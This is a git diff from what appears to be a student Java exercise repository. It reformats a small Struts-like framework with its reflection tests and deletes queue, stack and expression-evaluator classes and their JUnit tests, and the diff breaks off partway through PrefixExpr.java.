-    public void testSetParameters() throws Exception {
-
-	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	Class<?> clz = Class.forName(name);
-	Object o = clz.newInstance();
-
-	Map<String, String> params = new HashMap<String, String>();
-	params.put("name", "test");
-	params.put("password", "1234");
-
-	ReflectionUtil.setParameters(o, params);
-
-	Field f = clz.getDeclaredField("name");
-
-	f.setAccessible(true);
-	Assert.assertEquals("test", f.get(o));
-
-	f = clz.getDeclaredField("password");
-	f.setAccessible(true);
-	Assert.assertEquals("1234", f.get(o));
-    }
-
-    @Test
-    public void testGetGetterMethod() throws Exception {
-
-	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	Class<?> clz = Class.forName(name);
-	List<Method> methods = ReflectionUtil.getGetterMethods(clz);
-
-	Assert.assertEquals(3, methods.size());
-
-	List<String> expectedNames = new ArrayList<>();
-	expectedNames.add("getMessage");
-	expectedNames.add("getName");
-	expectedNames.add("getPassword");
-
-	Set<String> acctualNames = new HashSet<>();
-	for (Method m : methods) {
-
-	    acctualNames.add(m.getName());
+	@After
+	public void tearDown() throws Exception {
 	}
 
-	Assert.assertTrue(acctualNames.containsAll(expectedNames));
-
-    }
-
-    @Test
-    public void testGetParameters() throws Exception {
-
-	String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
-	Class<?> clz = Class.forName(name);
-	LoginAction action = (LoginAction) clz.newInstance();
-	action.setName("test");
-	action.setPassword("1234");
-
-	Map<String, Object> params = ReflectionUtil.getParameterMap(action);
-	Assert.assertEquals(3, params.size());
-	Assert.assertEquals(null, params.get("message"));
-	Assert.assertEquals("test", params.get("name"));
-	Assert.assertEquals("1234", params.get("password"));
-    }
+	@Test
+	public void testGetSetterMethod() throws Exception {
+		
+	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	    Class<?> clz = Class.forName(name);
+	    List<Method> methods = ReflectionUtil.getSetterMethods(clz);
+		
+	    Assert.assertEquals(2, methods.size());
+		
+	    List<String> expectedNames = new ArrayList<>();
+	    expectedNames.add("setName");
+	    expectedNames.add("setPassword");
+		
+	    Set<String> acctualNames = new HashSet<>();
+	    for(Method m : methods) {
+			
+		acctualNames.add(m.getName());
+	    }
+		
+	    Assert.assertTrue(acctualNames.containsAll(expectedNames));
+	}
+	
+	@Test
+	public void testSetParameters() throws Exception {
+		
+	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	    Class<?> clz = 	Class.forName(name);
+	    Object o = clz.newInstance();
+		
+	    Map<String, String> params = new HashMap<String, String>();
+	    params.put("name", "test");
+	    params.put("password", "1234");
+		
+	    ReflectionUtil.setParameters(o, params);
+		
+	    Field f = clz.getDeclaredField("name");
+		
+	    f.setAccessible(true);
+	    Assert.assertEquals("test", f.get(o));
+		
+	    f = clz.getDeclaredField("password");
+	    f.setAccessible(true);
+	    Assert.assertEquals("1234", f.get(o));
+	}
+	
+	@Test
+	public void testGetGetterMethod() throws Exception {
+		
+	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	    Class<?> clz = 	Class.forName(name);
+	    List<Method> methods = ReflectionUtil.getGetterMethods(clz);
+		
+	    Assert.assertEquals(3, methods.size());
+		
+	    List<String> expectedNames = new ArrayList<>();
+	    expectedNames.add("getMessage");
+	    expectedNames.add("getName");
+	    expectedNames.add("getPassword");
+		
+	    Set<String> acctualNames = new HashSet<>();
+	    for(Method m : methods) {
+			
+		acctualNames.add(m.getName());
+	    }
+		
+	    Assert.assertTrue(acctualNames.containsAll(expectedNames));
+		
+	}
+	
+	@Test
+	public void testGetParameters() throws Exception {
+		
+	    String name = "com.github.HarryHook.coding2017.litestruts.LoginAction";
+	    Class<?> clz = 	Class.forName(name);
+	    LoginAction action = (LoginAction)clz.newInstance();
+	    action.setName("test");
+	    action.setPassword("1234");
+		
+	    Map<String, Object> params = ReflectionUtil.getParameterMap(action);
+	    Assert.assertEquals(3, params.size());
+	    Assert.assertEquals(null, params.get("message"));
+	    Assert.assertEquals("test", params.get("name"));
+	    Assert.assertEquals("1234", params.get("password"));
+	}
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
index 4a55b6c2d1..270e26a57d 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/Struts.java
@@ -4,43 +4,45 @@
 import java.util.Map;
 
 public class Struts {
-
+	
     private final static Configuration cfg = new Configuration("struts.xml");
-
-    public static View runAction(String actionName, Map<String, String> parameters) {
-
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+		
 	String clzName = cfg.getClassName(actionName);
-
-	if (clzName == null) {
-
+		
+	if(clzName == null) {
+    		
 	    return null;
-	}
-
+    	}
+    	
+		
 	try {
-
-	    Class<?> clz = Class.forName(clzName);
+			
+	    Class<?> clz = Class.forName(clzName);    	
 	    Object action = clz.newInstance();
-
+			
 	    ReflectionUtil.setParameters(action, parameters);
-
+			
 	    Method m = clz.getDeclaredMethod("execute");
-	    String resultName = (String) m.invoke(action);
+	    String resultName = (String)m.invoke(action);
 
+			
 	    Map<String, Object> params = ReflectionUtil.getParameterMap(action);
 	    String resultView = cfg.getResultView(actionName, resultName);
-
+			
 	    View view = new View();
 	    view.setParameters(params);
 	    view.setJsp(resultView);
 	    return view;
-
-	} catch (Exception e) {
-
+			
+	}catch(Exception e) {
+			
 	    e.printStackTrace();
 	}
-
+		
 	return null;
-
+		
     }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
index 26b12d610c..23dd0a0845 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/StrutsTest.java
@@ -8,43 +8,43 @@
 
 public class StrutsTest {
 
-    @Test
-    public void testLoginActionSuccess() {
-
-	String actionName = "login";
-
-	Map<String, String> params = new HashMap<String, String>();
-	params.put("name", "test");
-	params.put("password", "1234");
-
-	View view;
-
-	view = Struts.runAction(actionName, params);
-
-	Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-	Assert.assertEquals("login successful", view.getParameters().get("message"));
-
-    }
-
-    @Test
-    public void testLoginActionFailed() {
-
-	String actionName = "login";
-	Map<String, String> params = new HashMap<String, String>();
-	params.put("name", "test");
-	params.put("password", "123456"); // 密码和预设的不一致
-
-	try {
-
+	@Test
+	public void testLoginActionSuccess() {
+		
+	    String actionName = "login";
+        
+	    Map<String,String> params = new HashMap<String,String>();
+	    params.put("name","test");
+	    params.put("password","1234");
+        
 	    View view;
-
+		
 	    view = Struts.runAction(actionName, params);
-	    Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-	    Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
 
-	} catch (Exception e) {
-	    e.printStackTrace();
+	    Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+	    Assert.assertEquals("login successful", view.getParameters().get("message"));
+  
 	}
 
-    }
+	@Test
+	public void testLoginActionFailed() {
+		
+	   String actionName = "login";
+	   Map<String,String> params = new HashMap<String,String>();
+	   params.put("name","test");
+	   params.put("password","123456"); //密码和预设的不一致
+	   
+	   try {
+	       
+	       View view;
+				
+	       view = Struts.runAction(actionName,params);
+	       Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+	       Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+
+	   }catch(Exception e) {
+        	e.printStackTrace();
+	   }
+       
+	}
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
index 258b376ae2..3e35a849c3 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/litestruts/View.java
@@ -2,31 +2,30 @@
 
 import java.util.Map;
 
-public class View {
-    private String jsp;
-    private Map parameters;
-
-    // 对应action获取Jsp
-    public String getJsp() {
-
-	return jsp;
-    }
-
-    public View setJsp(String jsp) {
-
-	this.jsp = jsp;
-	return this;
-    }
-
-    // execute()获取对应参数
-    public Map getParameters() {
-
-	return parameters;
-    }
-
-    public View setParameters(Map parameters) {
-
-	this.parameters = parameters;
-	return this;
-    }
+public class View 
+{
+    	private String jsp;
+	private Map parameters;
+	
+	//对应action获取Jsp
+	public String getJsp() {
+	    
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+	    
+		this.jsp = jsp;
+		return this;
+	}
+	
+	//execute()获取对应参数
+	public Map getParameters() {
+	    
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+	    
+		this.parameters = parameters;
+		return this;
+	}
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
deleted file mode 100644
index cd82fb2550..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/CircleQueue.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package com.github.HarryHook.coding2017.queue;
-
-/**
- * 用数组实现循环队列
- * 
- * @author liuxin
- *
- * @param <E>
- */
-public class CircleQueue<E> {
-
-    private final static int DEFAULT_SIZE = 10;
-
-    // 用数组来保存循环队列的元素
-    private Object[] elementData = new Object[DEFAULT_SIZE];
-
-    // 队头
-    private int front = 0;
-    // 队尾
-    private int rear = 0;
-
-    public boolean isEmpty() {
-	return false;
-
-    }
-
-    public int size() {
-	return -1;
-    }
-
-    public void enQueue(E data) {
-
-    }
-
-    public E deQueue() {
-	return null;
-    }
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
deleted file mode 100644
index 7b5fe53f5e..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Josephus.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.github.HarryHook.coding2017.queue;
-
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
- * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
- * 
- * @author liuxin
- *
- */
-public class Josephus {
-
-    public static List<Integer> execute(int n, int m) {
-	return null;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java
deleted file mode 100644
index 39d2ef9971..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/JosephusTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.github.HarryHook.coding2017.queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class JosephusTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testExecute() {
-
-	Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java
deleted file mode 100644
index 3be0147770..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/Queue.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.github.HarryHook.coding2017.queue;
-
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;
-    private Node<E> last;
-    private int size;
-
-    private static class Node<E> {
-	private E item;
-	private Node<E> next;
-    }
-
-    public Queue() {
-	first = null;
-	last = null;
-	size = 0;
-    }
-
-    public boolean isEmpty() {
-	return first == null;
-    }
-
-    public int size() {
-	return size;
-    }
-
-    public void enQueue(E data) {
-	Node<E> oldlast = last;
-	last = new Node<E>();
-	last.item = data;
-	last.next = null;
-	if (isEmpty()) {
-	    first = last;
-	} else {
-	    oldlast.next = last;
-	}
-	size++;
-    }
-
-    public E deQueue() {
-	if (isEmpty()) {
-	    throw new NoSuchElementException("Queue underflow");
-	}
-	E item = first.item;
-	first = first.next;
-	size--;
-	if (isEmpty()) {
-	    last = null;
-	}
-	return item;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java b/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
deleted file mode 100644
index c72abadcd2..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.github.HarryHook.coding2017.queue;
-
-import java.util.Stack;
-
-/**
- * 用两个栈来实现一个队列
- * 
- * @author liuxin
- *
- * @param <E>
- */
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;
-    private Stack<E> stack2;
-
-    public QueueWithTwoStacks() {
-	stack1 = new Stack<E>();
-	stack2 = new Stack<E>();
-    }
-
-    public boolean isEmpty() {
-	return false;
-    }
-
-    public int size() {
-	return -1;
-    }
-
-    public void enQueue(E item) {
-
-    }
-
-    public E deQueue() {
-	return null;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java
deleted file mode 100644
index 32bbc0da28..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtil.java
+++ /dev/null
@@ -1,138 +0,0 @@
-package com.github.HarryHook.coding2017.stack;
-
-import com.github.HarryHook.coding2017.basic.MyStack;
-
-public class StackUtil {
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-
-    public void reverse(MyStack s) {
-
-	if (s.isEmpty()) {
-	    return;
-	}
-	// 如果s里面只有一个元素，就返回。具体实现是先pop出来一个，判断剩下的是不是空栈。
-	Object tmp1 = s.pop();
-	reverse(s);
-	if (s.isEmpty()) {
-	    s.push(tmp1);
-	    return;
-	}
-	Object temp2 = s.pop();
-	reverse(s);
-	s.push(tmp1);
-	reverse(s);
-	s.push(temp2);
-
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     * 
-     * @param o
-     */
-    public void remove(MyStack s, Object o) {
-	if (s.isEmpty()) {
-	    return;
-	}
-	MyStack stack = new MyStack();
-	while (!(s.isEmpty())) {
-	    if (s.peek() != o) {
-		stack.push(s.pop());
-	    } else {
-		s.pop();
-	    }
-	}
-	while (!(stack.isEmpty())) {
-	    s.push(stack.pop());
-	}
-
-    }
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
-     * 可以使用另外一个栈来辅助
-     * 
-     * @param len
-     * @return
-     */
-    public Object[] getTop(MyStack s, int len) {
-	if (s.isEmpty() || len <= 0) {
-	    return null;
-	}
-	if (len > s.size()) {
-	    len = s.size();
-	}
-	Object[] array = new Object[len];
-
-	int i = 0;
-	while (i < len) {
-	    array[i++] = s.pop();
-	}
-	while (i != 0) {
-	    s.push(array[--i]);
-	}
-	return array;
-    }
-
-    /**
-     * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
-     * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
-     * 则该字符串中的括号不是成对出现的， 该方法返回false;
-     * 
-     * @param s
-     * @return
-     */
-    public boolean isValidPairs(String s) {
-	if (s == null || s == "") {
-	    return false;
-	}
-	MyStack stack = new MyStack();
-	for (int i = 0; i < s.length(); i++) {
-	    if (s.charAt(i) == '(') {
-		stack.push(s.charAt(i));
-	    } else if (s.charAt(i) == ')') {
-		if (stack.isEmpty()) {
-		    return false;
-		} else {
-		    char outOfStackChar = (char) stack.pop();
-		    if (outOfStackChar != '(') {
-			return false;
-		    }
-		}
-	    }
-
-	    if (s.charAt(i) == '{') {
-		stack.push(s.charAt(i));
-	    } else if (s.charAt(i) == '}') {
-		if (stack.isEmpty()) {
-		    return false;
-		} else {
-		    char outOfStackChar = (char) stack.pop();
-		    if (outOfStackChar != '{') {
-			return false;
-		    }
-		}
-	    }
-
-	    if (s.charAt(i) == '[') {
-		stack.push(s.charAt(i));
-	    } else if (s.charAt(i) == ']') {
-		if (stack.isEmpty()) {
-		    return false;
-		} else {
-		    char outOfStackChar = (char) stack.pop();
-		    if (outOfStackChar != '[') {
-			return false;
-		    }
-		}
-	    }
-
-	}
-	return true;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java
deleted file mode 100644
index 59f1fa1a40..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackUtilTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package com.github.HarryHook.coding2017.stack;
-import com.github.HarryHook.coding2017.basic.MyStack;
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class StackUtilTest {
-    private StackUtil sk;
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testReverse() {
-	sk = new StackUtil();
-	MyStack stack = new MyStack();
-	stack.push(1);
-	stack.push(2);
-	stack.push(3);
-	sk.reverse(stack);
-	assertEquals(1, stack.pop());
-	assertEquals(2, stack.pop());
-	assertEquals(3, stack.pop());
-    }
-    @Test
-    public void testRemove() {
-	sk = new StackUtil();
-	MyStack stack = new MyStack();
-	stack.push(1);
-	stack.push(2);
-	stack.push(3);
-	stack.push(2);
-	stack.push(5);
-	sk.remove(stack, 2);
-	assertEquals(5, stack.pop());
-	assertEquals(3, stack.pop());
-	assertEquals(1, stack.pop());
-    }
-    @Test
-    public void testGetTop() {
-	sk = new StackUtil();
-	MyStack stack = new MyStack();
-	
-	Object[] array = sk.getTop(stack, 3);
-	assertNull(array);
-
-	stack.push(1);
-	stack.push(2);
-	stack.push(3);
-	stack.push(2);
-	stack.push(5);
-	array = sk.getTop(stack, 3);
-	assertArrayEquals(array, new Object[] {5, 2, 3});
-	array = sk.getTop(stack, 6);
-	assertArrayEquals(array, new Object[] {5, 2, 3, 2, 1});
-	array = sk.getTop(stack, -1);
-	assertNull(array);
-    }
-    @Test
-    public void testIsValidPairs() {
-	sk = new StackUtil();
-	String expr = null;
-	assertEquals(false, sk.isValidPairs(expr));
-	expr = "";
-	assertEquals(false, sk.isValidPairs(expr));
-	expr = "{xx[x]t)yyza]}";
-	assertEquals(false, sk.isValidPairs(expr));
-	expr = "asd{[(asds)]sx}";
-	assertEquals(true, sk.isValidPairs(expr));
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java
deleted file mode 100644
index b9667fdaac..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,103 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import com.github.HarryHook.coding2017.basic.MyStack;
-
-public class InfixExpr {
-
-    String expr = null;
-
-    public InfixExpr(String expr) {
-	this.expr = expr;
-    }
-
-    public float evaluate() {
-
-	char[] ch = expr.toCharArray();
-	MyStack stackOfOperator = new MyStack();
-	MyStack stackOfNumber = new MyStack();
-
-	for (int i = 0; i < ch.length; i++) {
-
-	    if (Character.isDigit(ch[i])) {
-		float tmp = Float.parseFloat("" + ch[i]);
-		while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
-		    tmp = tmp * 10 + Float.parseFloat("" + ch[i]);
-		}
-
-		stackOfNumber.push(tmp);
-
-	    }
-	    if (ch[i] == '+' || ch[i] == '-' || ch[i] == '*' || ch[i] == '/') {
-		stackOfOperator.push(ch[i]);
-	    }
-
-	    char operator = (char) stackOfOperator.peek();
-	    if (operator == '*' || operator == '/') {
-		float tmp = Float.parseFloat("" + ch[++i]);
-		while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
-		    tmp = tmp * 10 + Float.parseFloat("" + ch[i]);
-		}
-		if (i != ch.length - 1) {
-		    i--;
-		}
-		stackOfNumber.push(tmp);
-
-		float tmp1 = Float.parseFloat("" + stackOfNumber.pop());
-		float tmp2 = Float.parseFloat("" + stackOfNumber.pop());
-		if (operator == '*') {
-		    stackOfNumber.push(tmp1 * tmp2);
-		} else {
-		    stackOfNumber.push(tmp2 / tmp1);
-		}
-
-		stackOfOperator.pop();
-	    }
-
-	}
-	// 将栈中的数字和运算符逆置，从左往右结合
-	reverse(stackOfNumber);
-	reverse(stackOfOperator);
-
-	while (!(stackOfOperator.isEmpty())) {
-	    char operator = (char) stackOfOperator.peek();
-	    if (operator == '+' || operator == '-') {
-		float tmp1 = Float.parseFloat("" + stackOfNumber.pop());
-		float tmp2 = Float.parseFloat("" + stackOfNumber.pop());
-		if (operator == '+') {
-		    stackOfNumber.push(tmp1 + tmp2);
-		} else {
-		    stackOfNumber.push(tmp1 - tmp2);
-		}
-	    }
-
-	    stackOfOperator.pop();
-	}
-
-	return Float.parseFloat("" + stackOfNumber.pop());
-    }
-
-    private void reverse(MyStack s) {
-
-	if (s.isEmpty()) {
-	    return;
-	}
-	// 如果s里面只有一个元素，就返回。具体实现是先pop出来一个，判断剩下的是不是空栈。
-	Object tmp1 = s.pop();
-	reverse(s);
-	if (s.isEmpty()) {
-	    s.push(tmp1);
-	    return;
-	}
-	Object temp2 = s.pop();
-	reverse(s);
-	s.push(tmp1);
-	reverse(s);
-	s.push(temp2);
-
-    }
-
-    public static void main(String[] args) {
-	InfixExpr expr = new InfixExpr("2+3*4+5");
-	System.out.println(expr.evaluate());
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java
deleted file mode 100644
index 4abd227502..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import org.junit.Assert;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-	// InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-	{
-	    InfixExpr expr = new InfixExpr("2+3*4+5");
-	    Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-	}
-	{
-	    InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-	    Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-	}
-
-	{
-	    InfixExpr expr = new InfixExpr("3*20/2");
-	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
-	}
-
-	{
-	    InfixExpr expr = new InfixExpr("20/2*3");
-	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
-	}
-
-	{
-	    InfixExpr expr = new InfixExpr("10-30+50");
-	    Assert.assertEquals(30, expr.evaluate(), 0.001f);
-	}
-
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java
deleted file mode 100644
index 10088e28cd..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
-
-//中序表达式： 3*20+12*5-40/2  转换成后续表达式：3 20 * 12 5 * + 40 2 / -
-//思路：当前token依次从左往右读取， 数字依次append， 当前入栈的运算符的优先级小于等于栈顶的运算符，栈顶操作符出栈
-public class InfixToPostfix {
-
-    public List<Token> convert(String expr) {
-	
-	TokenParser parser = new TokenParser();
-	List<Token> tokens = parser.parse(expr);
-	
-	List<Token> listOfTokens = new ArrayList<>();
-	
-	Stack<Token> opsStack = new Stack<>();
-
-	for (Token token : tokens) {
-
-	    if (token.isNumber()) {
-		listOfTokens.add(token);
-	    } else if (token.isOperator()) { // 还需判断当前操作符和栈顶操作符的优先级
-		if (opsStack.isEmpty()) {
-		    opsStack.push(token);
-		} else {
-		    if (!token.hasHigherPriority(opsStack.peek())) {
-			listOfTokens.add(opsStack.pop());
-		    }
-		    opsStack.push(token);
-		}
-
-	    }
-	}
-	while (!(opsStack.isEmpty())) { // exprStack 为空，但操作符栈还有元素
-	    listOfTokens.add(opsStack.pop());
-	}
-	return listOfTokens;
-    }
-
-    public static void main(String[] args) {
-	InfixToPostfix toPostfix = new InfixToPostfix();
-	List<Token> t = new ArrayList<Token>();
-	String expr = "3+20+12*5+40/2";
-	t = toPostfix.convert(expr);
-	System.out.println("expr: " + expr);
-	System.out.println("PostfixExpr: " + t);
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java
deleted file mode 100644
index 49bebad1a7..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PostfixExpr {
-    String expr = null;
-
-    public PostfixExpr(String expr) {
-	this.expr = expr;
-    }
-
-    public float evaluate() {
-
-	TokenParser parser = new TokenParser();
-	List<Token> tokens = parser.parse(this.expr);
-
-	Stack<Float> numStack = new Stack<>();
-	for (Token token : tokens) {
-
-	    if (token.isNumber()) {
-		numStack.push(new Float(token.getIntValue()));
-	    } else {
-		Float f2 = numStack.pop();
-		Float f1 = numStack.pop();
-		numStack.push(calculate(token.toString(), f1, f2));
-	    }
-	}
-	return numStack.pop().floatValue();
-    }
-
-    // 注意，此时计算的顺序和前序的次序相反
-    private Float calculate(String op, Float f1, Float f2) {
-	if (op.equals("+")) {
-	    return f1 + f2;
-	}
-	if (op.equals("-")) {
-	    return f1 - f2;
-	}
-	if (op.equals("*")) {
-	    return f1 * f2;
-	}
-	if (op.equals("/")) {
-	    return f1 / f2;
-	}
-	throw new RuntimeException(op + " is not supported");
-    }
-
-    public static void main(String[] args) {
-	PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-	System.out.println("The result of the expression: " + expr.evaluate());
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 7e78fa3997..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testEvaluate() {
-	{
-	    PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-	    Assert.assertEquals(288, expr.evaluate(), 0.0f);
-	}
-	{
-	    // 9+(3-1)*3+10/2
-	    PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-	    Assert.assertEquals(20, expr.evaluate(), 0.0f);
-	}
-
-	{
-	    // 10-2*3+50
-	    PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-	    Assert.assertEquals(54, expr.evaluate(), 0.0f);
-	}
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java
deleted file mode 100644
index d93b6e32fe..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.github.HarryHook.coding2017.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-    String expr = null;
-
-    public PrefixExpr(String expr) {
-	this.expr = expr;
-    }
-
-    public float evaluate() {
-
-	TokenParser parser = new TokenParser();
-	List<Token> tokens = parser.parse(this.expr);
-
-	Stack<Token> exprStack = new Stack<>();
-	Stack<Float> numStack = new Stack<>();
-	for (Token token : tokens) {
-	    exprStack.push(token);
-	}
-	System.out.println(tokens);
-	while (!exprStack.isEmpty()) {
-	    Token t = exprStack.pop();
-	    if (t.isNumber()) {
-		numStack.push(new Float(t.getIntValue()));
-	    } else if(t.isOperator()){
-		Float f1 = numStack.pop();
-		Float f2 = numStack.pop();
